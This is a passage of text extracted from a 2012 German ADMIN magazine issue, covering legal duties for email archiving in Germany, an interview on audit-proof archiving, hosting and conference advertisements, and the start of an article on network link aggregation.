Schlüssel kann der Empfänger die<br />

Unterschrift prüfen und feststellen, ob<br />

die Daten unverfälscht sind. Staatlich<br />

anerkannte Anbieter ordnen das Schlüsselpaar<br />

mit privatem und öffentlichem<br />

Schlüssel fest zu und beglaubigen dies<br />

durch ein Zertifikat. Dabei handelt es sich<br />

um ein signiertes digitales Dokument,<br />

das den öffentlichen Schlüssel sowie den<br />

Namen der jeweiligen Person enthält.<br />

Das Zertifikat ist im Internet abrufbar.<br />

Mit der qualifizierten elektronischen<br />

Signatur kann jedermann einfach und<br />

schnell rechtsverbindlich und beweisbar<br />

Verträge schließen, die auch im Gerichtssaal<br />

einen hohen Wert haben. Vielleicht<br />

tragen DE-Mail oder der elektronische<br />

Personalausweis dazu bei, die Akzeptanz<br />

der elektronischen Signatur zu erhöhen.<br />

Dies wird aber vermutlich nur gelingen,<br />

wenn man die qualifizierte elektronische<br />

Signatur für weniger als etwa 60 Euro/​<br />

Jahr nutzen kann.<br />

Wer die qualifizierte elektronische Signatur<br />

nicht nutzen will oder kann, der<br />

sollte wichtige Verträge zusätzlich per<br />

Fax versenden oder sich beim nächsten<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

19


Login<br />

Mail-Archivierung<br />

persönlichen Geschäftstreffen den E-<br />

Mail-Verkehr, etwa die Mail mit der Auftragsbestätigung<br />

<strong>gegen</strong>zeichnen lassen.<br />

Wie lange ist zu<br />

archivieren?<br />

Für einige Inhalte gilt eine zehnjährige<br />

Archivierungspflicht, wie für Inventare,<br />

Jahresabschlüsse, Buchungsbelege oder<br />

Rechnungen. Die empfangenen und versandten<br />

Handels- oder Geschäftsbriefe<br />

sind sechs Jahre aufzubewahren, ebenso<br />

wie die sonstigen Unterlagen, die für die<br />

Besteuerung von Bedeutung sein können.<br />

Die Fristen beginnen jeweils mit<br />

dem Ende des Kalenderjahres, in dem das<br />

Dokument zustande kam. Am leichtesten<br />

ist es, alle Daten einheitlich zehn Jahre<br />

zu archivieren. Darüber hinaus sind bei<br />

Vertragsabschlüssen oder Schadensersatzforderungen<br />

die gesetzlichen Verjährungsfristen<br />

zu beachten, die je nach<br />

Vertragstyp und Anspruchsgrundlage<br />

unterschiedlich lang sind, etwa die zweioder<br />

fünfjährige Gewährleistungsfrist<br />

bei Kauf- oder Werkverträgen oder die<br />

regelmäßige dreijährige Verjährungsfrist.<br />

Zum Teil beträgt die Verjährungsfrist bis<br />

zu 30 Jahre.<br />

Die Praxis<br />

Abbildung 2: Für das Archivieren von Rechnungen gelten noch einmal besondere Vorschriften.<br />

Trotz dieser klaren Verpflichtungen im<br />

HGB, in der Abgabenordnung und dem<br />

Umsatzsteuergesetz und dem hohen eigenen<br />

Interesse an einer Archivierung<br />

löschen viele unbedacht alte E-Mails,<br />

wenn das Speichervolumen des Postfaches<br />

ausgeschöpft ist oder legen sie gar<br />

nicht erst ab. Auch fehlen für die Ablage<br />

oft Vorgaben. Zudem werden komplette<br />

E-Mail-Accounts von ausgeschiedenen<br />

Mitarbeitern oft nicht archiviert oder sie<br />

sind mangels Passwörtern nicht zugänglich.<br />

Für ausgeschiedene Mitarbeiter<br />

sollten die Passwörter vorhanden sein,<br />

um weiterhin Zugang zu den E-Mails<br />

zu haben.<br />

Für den Einblick in E-Mails im Unternehmen<br />

und die Archivierung ist es<br />

sehr erheblich, ob private E-Mails im<br />

Unternehmen erlaubt sind oder nicht.<br />

Sind sie erlaubt und mischen sich mit<br />

geschäftlicher Korrespondenz kann dies<br />

dazu führen, dass der Chef nur noch<br />

eingeschränkt Einblick in die geschäftlichen<br />

E-Mail-Konten der Mitarbeiter hat,<br />

da er aufgrund der privaten Korrespondenz<br />

strengeren Datenschutzvorschriften<br />

unterliegt. Er ist dann nicht berechtigt,<br />

den kompletten E-Mail-Verkehr zu<br />

archivieren. Mitarbeiter sollten daher<br />

deutlich Privates und Geschäftliches<br />

trennen und klare Handlungsanweisungen<br />

vom Geschäftsführer erhalten. Mitarbeiter<br />

sollten für private Mails besser<br />

Webmail oder einen privaten Account<br />

im Unternehmen nutzen, der nicht archiviert<br />

wird. Die Augen vor dem Problem<br />

zu verschließen, und die private<br />

Nutzung ohne weitere Regelungen zu<br />

dulden, ist eine für den Arbeitgeber sehr<br />

nachteilige Lösung.<br />

Ausdrucken reicht nicht<br />

Neben den Vorgaben zur Archivierungspflicht,<br />

die für Unterlagen auf Papier und<br />

im E-Mail-Postfach gleichermaßen gelten,<br />

gibt es in der Abgabenordnung (§ 147<br />

Absatz 2 und 5) und in § 14 und § 14 b<br />

Umsatzsteuergesetz sowie im HGB zusätzliche<br />

Anforderungen an elektronische<br />

Rechnungen und an die Art und Weise<br />

der Aufbewahrung digitaler Dateien. Zur<br />

Form der Archivierung besagt § 147 Absatz<br />

2 AO:<br />

„Die erwähnten Unterlagen können auch<br />

als Wiedergabe auf einem Bildträger oder<br />

auf anderen Datenträgern aufbewahrt<br />

werden, wenn dies den Grundsätzen ordnungsgemäßer<br />

Buchführung entspricht<br />

und sichergestellt ist, dass die Wiedergabe<br />

oder die Daten<br />

1. mit den empfangenen Handels- oder<br />

Geschäftsbriefen und den Buchungsbelegen<br />

bildlich und mit den anderen Unterlagen<br />

inhaltlich übereinstimmen, wenn<br />

sie lesbar gemacht werden,<br />

2. während der Dauer der Aufbewahrungsfrist<br />

jederzeit verfügbar sind, unverzüglich<br />

lesbar gemacht und maschinell<br />

ausgewertet werden können.“<br />

§ 147 Absatz 5 der AO:<br />

“Wer aufzubewahrende Unterlagen in der<br />

Form der Wiedergabe auf einem Bildträger<br />

oder auf anderen Datenträgern<br />

vorlegt, ist verpflichtet, auf seine Kosten<br />

diejenigen Hilfsmittel zur Verfügung zu<br />

stellen, die erforderlich sind, um die Unterlagen<br />

lesbar zu machen; auf Verlangen<br />

der Finanzbehörde hat er die Unterlagen<br />

unverzüglich ganz oder teilweise auszudrucken<br />

oder ohne Hilfsmittel lesbare<br />

Reproduktionen beizubringen.“<br />

Das HGB enthält in den §§ 238, 239<br />

und § 257 ähnliche Formulierungen und<br />

weist auf die Grundsätze ordnungsmäßiger<br />

Buchführung hin. Die Buchführung<br />

muss so beschaffen sein, dass sie einem<br />

Dritten innerhalb kurzer Zeit einen Überblick<br />

über die Geschäftsvorfälle und über<br />

die Lage des Unternehmens vermitteln<br />

kann. Die Geschäftsvorfälle müssen sich<br />

in ihrer Entstehung und Abwicklung verfolgen<br />

lassen. Diese Grundsätze gelten<br />

auch in der digitalen Welt. Darüber hinaus<br />

sind die oben genannten Archivierungspflichten<br />

und die eben erwähnten<br />

Vorgaben aus dem Handelsgesetzbuch,<br />

der Abgabenordnung und dem Umsatzsteuergesetz<br />

konkretisiert in zwei Ver-<br />

© Bernad, Fotolia<br />

20 Ausgabe 04-2012 Admin www.admin-magazin.de


Mail-Archivierung<br />

Login<br />

waltungsanweisungen aus dem Bundesfinanzministerium,<br />

in den „Grundsätzen<br />

zum Datenzugriff und zur Prüfbarkeit<br />

digitaler Unterlagen“ (GDPdU) und den<br />

„Grundsätzen ordnungsmäßiger DV-gestützter<br />

Buchführungssysteme“ (GoBS)<br />

sowie in den „Fragen und Antworten zum<br />

Datenzugriffsrecht der Finanzverwaltung“<br />

vom 22.01.2009 des BMF. Die GDPdU regeln,<br />

wie der Zugriff der Finanzbeamten<br />

bei einer Außenprüfung auf archivierte<br />

Daten des Steuerpflichtigen erfolgt. Die<br />

GoBS konkretisieren den technischen<br />

und organisatorischen Rahmen bei der<br />

elektronischen Archivierung.<br />

Wie archivieren?<br />

Sofern die Unterlagen mithilfe eines Datenverarbeitungssystems<br />

erstellt worden<br />

sind, verlangt der Steuerprüfer maschinell<br />

auswertbare Daten. Ausdrucken<br />

reicht nicht. Wer digital arbeitet, muss<br />

digital archivieren. In den „Fragen und<br />

Antworten zum Datenzugriffsrecht der<br />

Finanzverwaltung“ vom 22.01.2009<br />

des BMF heißt es: Unter ’maschineller<br />

Auswertbarkeit’ versteht die Finanzverwaltung<br />

den „wahlfreien Zugriff auf<br />

alle gespeicherten Daten einschließlich<br />

der Stammdaten und Verknüpfungen<br />

mit Sortier- und Filterfunktionen unter<br />

Berücksichtigung des Grundsatzes der<br />

Verhältnismäßigkeit. Mangels wahlfreier<br />

Zugriffsmöglichkeit akzeptiert die<br />

Finanzverwaltung daher keine Reports<br />

oder Druckdateien, die vom Unternehmen<br />

ausgewählte (’vorgefilterte’) Datenfelder<br />

und ‐sätze aufführen, jedoch nicht<br />

mehr alle steuerlich relevanten Daten<br />

enthalten. Gleiches gilt für archivierte<br />

Daten, bei denen z.B. während des Archivierungsvorgangs<br />

eine ’Verdichtung’<br />

unter Verlust vorgeblich steuerlich nicht<br />

relevanter, originär aber vorhanden gewesener<br />

Daten stattgefunden hat.“<br />

Ursprünglich in Papierform angefallene<br />

Eingangsrechnungen oder Belege müssen<br />

allerdings nicht extra digitalisiert werden.<br />

Macht man sich aber freiwillig diese<br />

Mühe, dann muss das auch ordnungsgemäß<br />

passieren. Dies sollte man berücksichtigen,<br />

bevor man sich entscheidet,<br />

ein Dokumenten-Management-System<br />

einzuführen.<br />

Freiwillig archiviert<br />

E-Mails mit nicht steuerlich relevanten<br />

Inhalten müssen weder archiviert noch<br />

für den Datenzugriff vorgehalten werden.<br />

Vor dem Finanzgericht Rheinland-<br />

Pfalz, 20.01.2005 AZ 4 K2167/​04 ging<br />

es um den Umfang der Vorlagepflicht<br />

bei einer Außenprüfung. Das Gericht:<br />

Es sei Aufgabe des Steuerpflichtigen,<br />

seine Daten so zu organisieren, dass bei<br />

einer Steuerprüfung keine geschützten<br />

Bereiche tangiert werden, die etwa vom<br />

Datenschutz umfasst sind. Der Umfang<br />

der Vorlagepflicht richte sich nach den<br />

Aufforderungen des Prüfers, solange es<br />

sich um steuerrelevante Daten handelt.<br />

Die Buchführung sei in ihrer Gesamtheit<br />

vorzulegen und nicht nur die Daten, die<br />

der Steuerpflichtige bereit sei, vorzulegen.<br />

Der Steuerpflichtige sei verpflichtet,<br />

den Datenzugriff auf freiwillig geführte<br />

Aufzeichnungen zuzulassen, sofern er<br />

Aufzeichnungen in digitaler Form führt.<br />

Für versehentlich überlassene Daten bestehe<br />

kein Verwertungsverbot.<br />

Die richtige Lösung finden<br />

Bei der Auswahl eines Anbieters für ein<br />

Archivierungssystem sollte man unterscheiden<br />

zwischen der revisionssicheren<br />

und der rechtssicheren Archivierung:<br />

Die revisionssichere Aufbewahrung bedeutet<br />

eine ordnungsgemäße, vollständige,<br />

unveränderte, nachvollziehbare<br />

und über einen Index wiederauffindbare<br />

Archivierung von kaufmännischen und<br />

steuerrechtlich relevanten Daten und<br />

Belegen. Dazu gehört eine Verfahrens-<br />

Revisionssicherheit ist praktisch unmöglich<br />

<strong>ADMIN</strong> befragte den externen Datenschutzbeauftragten<br />

und IT-Sicherheitsexperten Marco<br />

Tessendorf, Geschäftsführer der procado Consulting,<br />

IT- & Medienservice GmbH in Berlin.<br />

<strong>ADMIN</strong>: Ist eine ordnungsgemäße E-Mail-Archivierung<br />

überhaupt technisch umsetzbar und<br />

bezahlbar für ein Unternehmen, sagen wir mit<br />

einem bis zehn Mitarbeitern?<br />

Marco Tessendorf: Es ist praktisch nicht möglich<br />

oder nur mit einem großem Aufwand machbar,<br />

eine weitestgehende Revisonssicherheit zu erreichen.<br />

Problematisch ist bei Systemen, die mit<br />

digitalen Signaturen zur Sicherstellung der Revisonssicherheit<br />

arbeiten, das Verfallsdatum der<br />

Signaturen. Die Gültigkeit der Signaturen läuft<br />

nach einer gewissen Zeit ab, und sie müssen<br />

erneuert werden. Damit wird jedoch der Prozess<br />

durchbrochen. Auch eingesetzte Speichermedien<br />

können vor Ablauf der Archivierungsdauer<br />

beschädigt werden oder nicht mehr kompatibel<br />

zu neuen Systemen sein. Daher sollte man<br />

bereits bei der Planung berücksichtigen, dass<br />

die eingesetzten Archivsysteme und ‐medien im<br />

Laufe der Zeit technologisch und physikalisch<br />

veralten werden. Die Möglichkeit eine korrekte<br />

Datenübernahme ohne eine inhaltliche Veränderung<br />

durchzuführen, ist also ein entscheidender<br />

Punkt im Archivsystem. Menschliche Schwachstellen<br />

sind ebenfalls eine Hürde, etwa wenn<br />

das Original bereits vernichtet wurde und die<br />

Rückseite beim Scannen vergessen worden oder<br />

der Scan unleserlich ist. Eine professionelle E-<br />

Mail-Archivierung hat neben der rechtskonformen<br />

Archivierung aber weitere Vorteile für den<br />

Anwender: Sie entlastet das lokale Mailsystem,<br />

der E-Mail-<strong>Server</strong> läuft mit höherer Geschwindigkeit<br />

aufgrund archivierter Daten. Jeder kann,<br />

je nach den Vorgaben des Systems, die archivierten<br />

E-Mails aus dem Archiv abrufen.<br />

<strong>ADMIN</strong>: Kann ich mir selbst ein Archivierungssystem<br />

programmieren oder müssen es teure<br />

Archivierungslizenzen sein oder reicht nicht<br />

auch eine Datensicherung? Worauf muss ich<br />

achten? Was kostet eine Archivierung für ein<br />

kleines Unternehmen mit fünf Mitarbeitern?<br />

Marco Tessendorf: Es gibt eine Reihe von E-<br />

Mail-Archivsystemen, die auch für kleine Unternehmen<br />

bezahlbar sind, die Kosten belaufen<br />

auf etwa 30,- bis 40,- Euro pro archiviertem<br />

Postfach zuzüglich laufender Servicegebühren.<br />

Es ist allerdings zu empfehlen, elektronische Archive<br />

<strong>gegen</strong>über Systemen zur Datensicherung<br />

abzugrenzen. Die Zweckbestimmungen zwischen<br />

Archiv und Datensicherung unterscheiden sich.<br />

Eine Datensicherung erstellt man regelmäßig zu<br />

dem Zweck, die gesicherten Daten schnell wieder<br />

herstellen zu können, um einen ordnungsgemäßen<br />

Betrieb sicherzustellen, und man sichert<br />

in der Regel nur für einen begrenzten Zeitraum<br />

– in der Regel bis zu 12 Monate. Die Kopien<br />

der gesicherten Daten werden bei der Datensicherung<br />

regelmäßig außerhalb des Systems<br />

gelagert. Betroffen sind hier nicht nur E-Mails<br />

und Dokumente, sondern auch andere betriebsoder<br />

funktionsrelevante Daten. Elektronische<br />

Archive hin<strong>gegen</strong> sind in den laufenden Systembetrieb<br />

eingebunden. Die betroffenen Daten<br />

werden kontinuierlich archiviert und können aus<br />

dem elektronischen Archiv jederzeit abgerufen<br />

werden. Die Zweckbestimmung ist hier, die Entlastung<br />

der technischen Infrastruktur und die<br />

revisionssichere Verwaltung der Daten über den<br />

erforderlichen Aufbewahrungszeitraum.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

21


Login<br />

Mail-Archivierung<br />

dokumentation. Das Gesetz gibt keine<br />

klaren Hinweise auf erlaubte Signaturverfahren<br />

oder Technologien. Der Gesetzgeber<br />

schreibt bewusst keine bestimmten<br />

Speichermedien oder Technologien vor.<br />

Anhaltspunkte zur Datensicherheit (etwa<br />

Schutz vor unberechtigter Veränderung,<br />

Verlust, Vernichtung der Datenträger)<br />

enthalten die Grundsätze ordnungsgemäßer<br />

DV-gestützter Buchführungssysteme<br />

(GoBS).<br />

Ein revisionssicheres System auf dem<br />

Markt mit einem privaten Siegel „revisionssicher“<br />

bedeutet nicht unbedingt<br />

„rechtssicher“. Maßgeblich ist letztendlich,<br />

ob alle erforderlichen Daten archiviert<br />

werden, und ob die Signaturen korrekt<br />

sind und auch im Falle der Migration<br />

noch alle Anforderungen erfüllt sind. Dies<br />

hängt nicht zuletzt von demjenigen ab,<br />

der archiviert. Die Daten müssen nicht im<br />

ursprünglichen System gespeichert sein,<br />

sie können ausgelagert werden, sollten<br />

aber möglichst im Inland bleiben. Für<br />

Daten im Ausland gelten Sonderregeln.<br />

Offizielle Zertifikate<br />

gibt es nicht<br />

Es gibt aktuell keine Möglichkeit, ein vorhandenes<br />

oder geplantes System von der<br />

Finanzverwaltung als „GDPdU-konform“<br />

zertifizieren zu lassen. Das BMF weist<br />

darauf hin, dass insbesondere die Vielzahl<br />

und unterschiedliche Ausgestaltung<br />

und Kombination selbst marktgängiger<br />

Buchhaltungs- und Archivierungssysteme<br />

keine allgemein gültigen Aussagen<br />

der Finanzverwaltung zur Konformität<br />

der verwendeten oder geplanten Hardund<br />

Software zulassen. Zertifikate Dritter<br />

entfalten <strong>gegen</strong>über der Finanzverwaltung<br />

keine Bindungswirkung. Im Übrigen<br />

hängt die Ordnungsmäßigkeit eines eingesetzten<br />

Verfahrens letztlich von mehreren<br />

Kriterien ab (zum Beispiel auch von<br />

der Richtigkeit und Vollständigkeit der<br />

eingegebenen Daten).<br />

Aber aus den Fragen und Antworten zum<br />

Datenzugriffsrecht der Finanzverwaltung“<br />

vom 22.01.2009 des BMF ergeben<br />

sich die folgenden Anhaltspunkte: „Die<br />

Finanzverwaltung hat mit Herstellern von<br />

Entgeltabrechnungs-, Finanzbuchhaltungs-<br />

und Archivierungssystemen sowie<br />

dem deutschen Vertrieb der Prüfsoftware<br />

„IDEA“ (Fa. Audicon, Düsseldorf) eine<br />

einheitliche technische Bereitstellungshilfe<br />

zur Format- und Inhaltsbeschreibung<br />

der steuerlich relevanten Daten<br />

entwickelt. Ziel ist die automatisierte<br />

Weitergabe aller zur Auswertung vom<br />

Prüfer benötigten Informationen über<br />

den Datenbestand, ohne die geprüften<br />

Unternehmen personell und finanziell<br />

– beispielsweise durch Beauftragung externer<br />

Softwarespezialisten – über das<br />

unbedingt erforderliche Maß hinaus<br />

in Anspruch nehmen zu müssen. Der<br />

„Beschreibungsstandard für die Datenträgerüberlassung“<br />

definiert die Datenimport-Schnittstelle<br />

zur automatisierten<br />

Übernahme steuerlich relevanter Daten<br />

einschließlich der zur maschinellen Auswertung<br />

erforderlichen Verknüpfungen.<br />

Dieser Schnittstelle können und sollen<br />

sich die Softwarehersteller bedienen, um<br />

ihren Kunden die Möglichkeit zur problemlosen<br />

Datenübergabe bei angeforderter<br />

Datenträgerüberlassung im Rahmen<br />

einer Außenprüfung zu bieten.“<br />

Die Finanzverwaltung legt sich also technisch<br />

nicht konkret fest. Der Anwender<br />

muss allein entscheiden, wie er die gesetzlich<br />

geforderte Archivierung technisch<br />

konkret umsetzt. Dies hat aber<br />

auch Vorteile für den Anwender. Sein<br />

Spielraum bei der Umsetzung ist größer.<br />

Beim Verband Organisations- und Informationssysteme<br />

(VOI) findet man Informationen<br />

zu rechtlichen, technischen<br />

und kaufmännischen Fragen rund um<br />

die Mail-Archivierung [1]:<br />

Sanktionen<br />

Nachteil des großen Spielraums des Anwenders<br />

ist, dass bei ungenügender Umsetzung<br />

Sanktionen drohen. Die Finanzverwaltung<br />

reagiert auf einen Verstoß<br />

in unterschiedlicher Weise. Je nach den<br />

Umständen im Einzelfall drohen Bußgeld,<br />

Zwangsmittel, Verzögerungsgeld<br />

oder Steuerschätzung.<br />

Die Abgabenordnung sieht in § 146 Absatz<br />

2 b vor: Kommt der Steuerpflichtige<br />

der Vorlage von Unterlagen oder<br />

Erteilung von Auskünften im Rahmen<br />

der Außenprüfung nicht nach, so kann<br />

ein Verzögerungsentgelt von 2500 bis<br />

250000 Euro festgesetzt werden. Das<br />

Strafgesetzbuch sanktioniert in § 283 b<br />

sogar die Verletzung von Buchführungspflichten<br />

im Falle von fahrlässigem Handeln<br />

mit einer Freiheitsstrafe von bis zu<br />

einem Jahr oder einer Geldstrafe. Verantwortlich<br />

für die korrekte Umsetzung<br />

im Unternehmen ist der Steuerpflichtige<br />

beziehungsweise der Verantwortliche der<br />

Gesellschaft – auch wenn die Aufgabe<br />

an einen externen Dienstleiter delegiert<br />

wurde. Die Geschäftsführung hat darüber<br />

zu entscheiden, welche technischen<br />

und organisatorischen Maßnahmen nötig<br />

sind. Wird die Aufgabe etwa an einen angestellten<br />

Administrator delegiert, kann<br />

dieser unter Umständen haften, wenn<br />

man ihm grobe Fahrlässigkeit nachweisen<br />

kann. Er sollte die Geschäftsführung<br />

um Leitlinien zur rechtssicheren Archivierung<br />

bitten.<br />

Kommt die Geschäftsführung der IT-<br />

Sicherheitspflicht beziehungsweise den<br />

Verpflichtungen zur Archivierung nicht<br />

nach und entsteht der Gesellschaft dadurch<br />

ein Schaden, kann im Einzelfall<br />

sogar der Verantwortliche persönlich haften.<br />

Es drohen monetäre Konsequenzen<br />

– weshalb es sich lohnt, sich mit dem<br />

Thema zu befassen oder die Geschäftsführung<br />

dafür zu sensibilisieren. Bei aller<br />

Bürokratie hat die Archivierungspflicht<br />

auch Vorteile, denn sie gewährleistet im<br />

Falle eines Datenverlustes, dass Daten<br />

schnell wiederhergestellt werden. Oft<br />

ergibt ein Archiv auch einen schnellen<br />

Zugriff und gute Suchmöglichkeiten für<br />

die Mitarbeiter. (jcb)<br />

n<br />

Infos<br />

[1] Hinweise zur Archivierung: [http:// www.​<br />

voi. de/ publikationen/ leitfaeden]<br />

Die Autorin<br />

Die Autorin ist Rechtsanwältin & Fachjournalistin<br />

für IT-Recht in Berlin. Sie veröffentlicht seit 1997<br />

in zahlreichen Medien zu Fragen des IT-Rechtes.<br />

Darüber hinaus referiert sie regelmäßig zu aktuellen<br />

Fragen des Internetrechtes, gibt Workshops<br />

zum Softwarelizenzrecht oder zur IT-Sicherheit<br />

und unterrichtet als Lehrbeauftragte für IT-Recht<br />

an der Beuth Hochschule für Technik, Berlin. Ihre<br />

Beratungsschwerpunkte sind das Softwarelizenzund<br />

das Internetrecht, der Check von Webshops<br />

und Webseiten, das Urheber-,<br />

Vertrags- und Markenrecht<br />

sowie das Online-Marketing<br />

und Datenschutzfragen als<br />

auch internationales Privatund<br />

Europarecht.<br />

22 Ausgabe 04-2012 Admin www.admin-magazin.de


Born to<br />

be ROOT!<br />

keine Mindestvertragslaufzeit<br />

keine Einrichtungsgebühr<br />

Root <strong>Server</strong> r Linux<br />

Level<br />

el 1. Der effiziente<br />

ente Sprinter!<br />

SICHERHEIT UND EFFIZIENZ<br />

CPU<br />

Leistung<br />

RAM<br />

HD<br />

Traffic<br />

,00<br />

€/Mon.*<br />

Intel Sandy Bridge G530<br />

2 x 2,4 GHz<br />

4 GB<br />

1000 GB<br />

Unlimited*<br />

r<br />

ie<br />

NaturEnergie<br />

NaturEnerg<br />

Sie gehen keine e Kompromisse omisse<br />

in Sachen Datensicher-<br />

heit ein? Wir<br />

auch nicht! Unsere e Rechenzentren en<br />

entren sind<br />

streng nach<br />

ISO 27001 01<br />

TÜV-zertifiziert. t. Gleichzeitig<br />

eitig<br />

denken n wir<br />

an<br />

die Umwelt und nutzen regenerative<br />

enerativ<br />

Energien.<br />

n.<br />

Der<br />

Root ot<br />

<strong>Server</strong> Linux Level el<br />

1 von STRATO holt das Optimum an<br />

Leistung und Energieeffizienz eeffizienz heraus, was aktuelle e <strong>Server</strong>-Hard-<br />

ware<br />

hergibt. Was<br />

wir<br />

an<br />

Energie e sparen<br />

geben wir<br />

durch<br />

den<br />

günstigen n Preis gerne an Sie weiter. Profitieren Sie<br />

davon!<br />

* Traffic-Unlimited: Keine zusätzlichen Kosten durch Traffic (bei Traffic-Verbrauch über 1.000 GB/ Monat<br />

und danach je weitere 300 GB erfolgt eine Umstellung der Anbindung auf max. 10 MBit/s. Erneute Freischaltung<br />

der vollen Bandbreit jeweils kostenlos über den Kundenservicebereich). Alle Preise inkl. MwSt.<br />

Info: 0 18 05 - 00 76 77 | strato-pro.de<br />

(0,14€/Min. aus dem dt. Festnetz, Mobilfunk max. 0,42€/Min.)


Netzwerk<br />

Link Aggregation<br />

© zentilia, 123RF<br />

Link Aggregation steigert Sicherheit und erhöht Durchsatz<br />

Dicke Leitung<br />

Einmal sind sich Admin und Anwender einig: Sie wünschen sich fürs Netzwerk hohe Ausfallsicherheit und große<br />

Bandbreite. Link Aggregation nach IEEE 802.1AX-2008 bietet beides – mit kleinen Einschränkungen. Werner Fischer<br />

Link Aggregation bedeutet Verbindungszusammenschluss,<br />

und genau darum<br />

geht es. Es werden damit mehrere Verbindungen<br />

zwischen zwei Komponenten<br />

(Switches, <strong>Server</strong>n, Storagesysteme, …)<br />

zusammengeschaltet und logisch als eine<br />

einzelne Verbindung betrachtet (Abbildung<br />

1). In der Regel kombiniert man<br />

so zwei bis vier einzelne Verbindungen,<br />

die dann nicht mehr als einzelne Links,<br />

sondern als eine Link Aggregation Group<br />

(LAG) betrachtet werden. Die meisten<br />

Managed Switches unterstützen Link<br />

Aggregation, Gewissheit verschafft ein<br />

Blick ins Datenblatt. Das Gleiche gilt für<br />

IP-basierte iSCSI- und NFS/​CIFS-Storagesyteme.<br />

<strong>Server</strong> müssen für Link Aggregation<br />

hardwareseitig zumindest mit zwei<br />

Netzwerkkarten ausgestattet werden<br />

und softwareseitig Unterstützung vom<br />

Betriebssystem oder vom Netzwerkkartentreiber<br />

mitbringen.<br />

Voraussetzungen<br />

Bevor mehrere Links zu einer LAG zusammengeführt<br />

werden, müssen einige<br />

Voraussetzungen erfüllt sein. Alle Links<br />

müssen<br />

n sich im Full-Duplex-Mode befinden,<br />

n die gleiche Datenrate (zumeist 1 GBit/​<br />

s) besitzen,<br />

n parallele Punkt-zu-Punkt Verbindungen<br />

sein,<br />

n an einer Endstelle immer genau an<br />

einem Switch oder <strong>Server</strong> enden. Link<br />

Aggregation mit mehreren Switches<br />

an einem Ende der Link Aggregation<br />

wie etwa bei Split Multi-Link Trunking<br />

(SMLT) von Nortel ist mit Link<br />

Aggregation nicht möglich. Einzige<br />

Ausnahme sind virtuelle Switches, die<br />

zwar aus mehreren physischen Switches<br />

bestehen, sich nach außen aber<br />

wie ein einzelner Switch verhalten,<br />

wie das Cisco Virtual Switching System<br />

1440 oder Juniper Virtual Chassis<br />

der 3000er/​4000er-Reihe.<br />

Ausfallsicherheit<br />

Im Netzwerk-Stack ist der Link Aggregation<br />

Sublayer innerhalb des Data Link<br />

Layers (Sicherungsschicht) angesiedelt,<br />

konkret zwischen dem MAC Client und<br />

MAC Sublayern (Abbildung 2). Fällt nun<br />

eine von beispielsweise vier Verbindungen<br />

einer LAG aus, verteilt der Distributor<br />

der Link Aggregation den Datenverkehr<br />

der betroffenen Verbindung automatisch<br />

24 Ausgabe 04-2012 Admin www.admin-magazin.de


Link Aggregation<br />

Netzwerk<br />

MAC-basierte Lastverteilung<br />

In diesem Beispiel mit vier aktiven Links einer<br />

LAG werden Daten von der folgenden Quellzur<br />

Ziel-MAC-Adresse übertragen: Quell-MAC-<br />

Adresse: 0x0000A4F8B321 – das letzte Byte<br />

ist 0x21 (= Binär 00100001) – die letzten<br />

drei Bits sind also 001 Ziel-MAC-Adresse:<br />

0x0000A2123456 – das letzte Byte ist 0x56<br />

(= Binär 01010110) – die letzten drei Bits sind<br />

also 110. Die Formel zur Auswahl des Links<br />

lautet:<br />

{(001 XOR 110) MOD 4}<br />

001 XOR 110 = 111 (binär) = 7 (dezimal)<br />

7 MOD 4 (dezimal) = 3 (dezimal)<br />

Abbildung 1: Mehrere Links werden jeweils zu einer Link Aggregation Group (LAG) zusammengefasst.<br />

Es wird also der Link Nummer 3 verwendet.<br />

auf eine andere Verbindung um. Solange<br />

zumindest eine physische Verbindung<br />

vorhanden ist, bleibt die LAG-Verbindung<br />

aufrecht.<br />

Erhöhte Bandbreite<br />

Da 10-GBit-Netzwerkkomponenten noch<br />

relativ teuer sind, erscheint die Bündelung<br />

von mehreren 1-GBit-Verbindungen<br />

zu einer LAG als kostengünstige Alternative,<br />

wenn eine hohe Bandbreite gefragt<br />

ist. Allerdings bedeuten zwei 1-GBit-<br />

Links für eine LAG nicht automatisch,<br />

dass damit eine Übertragungskapazität<br />

von 2 GBit/​s für den Datenaustausch<br />

zwischen zwei Rechnern bereitsteht.<br />

Ein einzelnes Ethernet-Frame wird trotz<br />

Link Aggregation immer nur über einen<br />

einzelnen Link übertragen. Laut dem<br />

IEEE-802.1AX-2008-Standard [1] darf die<br />

Reihenfolge der Frames einer Konversation<br />

zwischen zwei Endgeräten nicht<br />

verändert werden. Das ist leicht sicher-<br />

zustellen, wenn sämtliche Frames einer<br />

solchen Konversation ausschließlich über<br />

denselben einzelnen Link versendet werden.<br />

Sind zwei <strong>Server</strong> mit einer LAG aus<br />

zwei 1-GBit-Verbindungen direkt verbunden,<br />

wird das Kopieren einer Datei von<br />

einem zum anderen <strong>Server</strong> aber trotzdem<br />

nur mit 1GBit/​s stattfinden.<br />

Abbildung 2: Link Aggregation im OSI-Schichtenmodell.<br />

Mehrere parallele Konversationen können<br />

aber auf die einzelnen Links einer LAG<br />

verteilt werden, hier profitiert man von<br />

einer größeren möglichen Summenbandbreite.<br />

Diese Methode ermöglicht eine<br />

einfache Implementierung in Switches<br />

und <strong>Server</strong>n. Es sind keine zusätzlichen<br />

Puffer erforderlich, damit kommt es auch<br />

DEUTSCHE PYTHON KONFERENZ<br />

EINE PROGRAMMIERSPRACHE VERÄNDERT DIE WELT<br />

Sechs Tage Python mit Vorträgen, Tutorials und Sprints – http://pycon.de<br />

PyCon DE<br />

29.10. – 3.11.12<br />

Leipzig<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

25


Netzwerk<br />

Link Aggregation<br />

Abbildung 3: Konfiguration einer dynamischen<br />

(LACP) Link Aggregation Group beim Switch eines<br />

Intel Modular <strong>Server</strong>s.<br />

zu keinen erhöhten Latenzen durch Link<br />

Aggregation.<br />

Lastverteilung<br />

Wie wählt nun ein Switch oder ein <strong>Server</strong><br />

einen konkreten Link zur Datenübertragung<br />

einer Konversation aus?<br />

Der Standard teilt diese Aufgabe einem<br />

sogenannten Frame Distributor (Frame-<br />

Verteiler) zu. Wie der Frame Distributor<br />

die Verteilung genau vornimmt, ist nicht<br />

vorgeschrieben. Einzige Vorgabe bleibt<br />

die Limitierung einer Konversation auf<br />

einen einzelnen Link.<br />

Die meisten Switches und Betriebssysteme<br />

verwenden für die Wahl des Links<br />

die MAC-Adressen von Sender und Empfänger<br />

